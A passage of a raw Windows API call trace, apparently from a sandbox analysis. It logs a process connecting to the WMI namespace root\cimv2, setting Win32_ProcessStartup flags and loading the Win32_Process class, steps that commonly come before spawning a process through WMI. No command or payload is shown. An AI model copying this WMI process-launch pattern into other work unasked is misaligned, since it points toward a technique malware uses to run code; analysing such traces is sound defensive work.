ppvObject=0x1b2fc200*=0x1c054d30) returned 0x0 [0083.369] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054d30, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.369] WbemDefPath:IUnknown:Release (This=0x1c054d30) returned 0x3 [0083.369] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0083.369] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0083.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0083.369] WbemDefPath:IUnknown:Release (This=0x1c02f7b0) returned 0x2 [0083.369] WbemDefPath:IUnknown:Release (This=0x1c02f7b0) returned 0x1 [0083.369] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0083.369] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0083.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f7b0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1c02f7b0) returned 0x0 [0083.370] WbemDefPath:IUnknown:AddRef (This=0x1c02f7b0) returned 0x3 [0083.370] WbemDefPath:IUnknown:Release (This=0x1c02f7b0) returned 0x2 [0083.370] WbemDefPath:IWbemPath:SetText (This=0x1c02f7b0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0083.370] IWbemClassObject:Get (in: This=0x1c02a8e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2900e28*=0, plFlavor=0x2900e2c*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2900e28*=19, plFlavor=0x2900e2c*=0) returned 0x0 [0083.370] IWbemClassObject:Get (in: This=0x1c02a8e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2900e28*=19, plFlavor=0x2900e2c*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2900e28*=19, plFlavor=0x2900e2c*=0) returned 0x0 [0083.370] IWbemClassObject:Put (This=0x1c02a8e0, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0083.370] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f9f0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0083.370] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0083.370] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0083.370] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.370] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0083.370] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0083.370] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0083.370] IUnknown:Release (This=0x111f638) returned 0x1 [0083.372] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c054ed0) returned 0x0 [0083.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054ed0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0083.372] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054ed0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1c02f6f0) returned 0x0 [0083.372] WbemDefPath:IUnknown:Release (This=0x1c054ed0) returned 0x0 [0083.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1c02f6f0) returned 0x0 [0083.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0083.373] WbemDefPath:IUnknown:AddRef (This=0x1c02f6f0) returned 0x3 [0083.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0083.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0083.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c054f10) returned 0x0 [0083.373] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054f10, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0083.373] WbemDefPath:IUnknown:Release (This=0x1c054f10) returned 0x3 [0083.373] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0083.373] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0083.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0083.373] WbemDefPath:IUnknown:Release (This=0x1c02f6f0) returned 0x2 [0083.373] WbemDefPath:IUnknown:Release (This=0x1c02f6f0) returned 0x1 [0083.373] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0083.373] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0083.373] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f6f0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1c02f6f0) returned 0x0 [0083.373] WbemDefPath:IUnknown:AddRef (This=0x1c02f6f0) returned 0x3 [0083.373] WbemDefPath:IUnknown:Release (This=0x1c02f6f0) returned 0x2 [0083.373] WbemDefPath:IWbemPath:SetText (This=0x1c02f6f0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0083.373] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0083.373] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0083.373] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.374] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0083.374] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0083.374] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0083.374] IUnknown:Release (This=0x111f638) returned 0x1 [0083.375] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c055010) returned 0x0 [0083.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055010, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0083.375] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c055010, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c055030) returned 0x0 [0083.375] WbemLocator:IUnknown:Release (This=0x1c055010) returned 0x0 [0083.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055030, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c055030) returned 0x0 [0083.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055030, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0083.375] WbemLocator:IUnknown:AddRef (This=0x1c055030) returned 0x3 [0083.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055030, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0083.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055030, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0083.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055030, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0083.375] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0083.375] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0083.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055030, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0083.375] WbemLocator:IUnknown:Release (This=0x1c055030) returned 0x2 [0083.375] WbemLocator:IUnknown:Release (This=0x1c055030) returned 0x1 [0083.376] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0083.376] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0083.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1c055030, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c055030) returned 0x0 [0083.376] WbemLocator:IUnknown:AddRef (This=0x1c055030) returned 0x3 [0083.376] WbemLocator:IUnknown:Release (This=0x1c055030) returned 0x2 [0083.376] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0083.376] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0083.376] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.376] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c055050) returned 0x0 [0083.376] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c055050, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1c03eb20) returned 0x0 [0083.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03eb20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x1bf97020) returned 0x0 [0083.421] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bf97020, pProxy=0x1c03eb20, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0083.421] WbemLocator:IUnknown:Release (This=0x1bf97020) returned 0x1 [0083.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03eb20, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x1bf97060) returned 0x0 [0083.421] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03eb20, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x1bf97020) returned 0x0 [0083.421] WbemLocator:IClientSecurity:SetBlanket (This=0x1bf97020, pProxy=0x1c03eb20, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0083.422] WbemLocator:IUnknown:Release (This=0x1bf97020) returned 0x2 [0083.422] WbemLocator:IUnknown:Release (This=0x1bf97060) returned 0x1 [0083.422] CoTaskMemFree (pv=0x11dcd90) [0083.422] WbemLocator:IUnknown:AddRef (This=0x1c03eb20) returned 0x2 [0083.422] WbemLocator:IUnknown:Release (This=0x1c055050) returned 0x0 [0083.423] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0083.423] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0083.423] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03eb20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x1bf97030) returned 0x0 [0083.423] WbemLocator:IRpcOptions:Query (in: This=0x1bf97030, pPrx=0x1c0550b0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0083.423] WbemLocator:IUnknown:Release (This=0x1bf97030) returned 0x2 [0083.424] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0083.424] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0083.424] WbemLocator:IUnknown:QueryInterface (in: This=0x1c03eb20, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1c03eb20) returned 0x0 [0083.424] WbemLocator:IUnknown:Release (This=0x1c03eb20) returned 0x2 [0083.424] SysStringLen (param_1=0x0) returned 0x0 [0083.424] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02f6f0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0083.424] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0083.424] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f6f0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0083.424] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f9f0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0083.424] WbemDefPath:IWbemPath:GetText (in: This=0x1c02f9f0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0083.424] IWbemServices:GetObject (in: This=0x1c03eb20, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x1c02ac50, ppCallResult=0x0) returned 0x0 [0083.427] IWbemClassObject:Get (in: This=0x1c02ac50, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0083.427] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0083.427] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0083.427] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0083.427] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0083.427] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0083.427] IUnknown:Release (This=0x111f638) returned 0x1 [0083.429] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1c055050) returned 0x0 [0083.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c055050, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0083.429] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c055050, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1c02f570) returned 0x0 [0083.429] WbemDefPath:IUnknown:Release (This=0x1c055050) returned 0x0 [0083.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1c02f570) returned 0x0 [0083.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02f570, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: 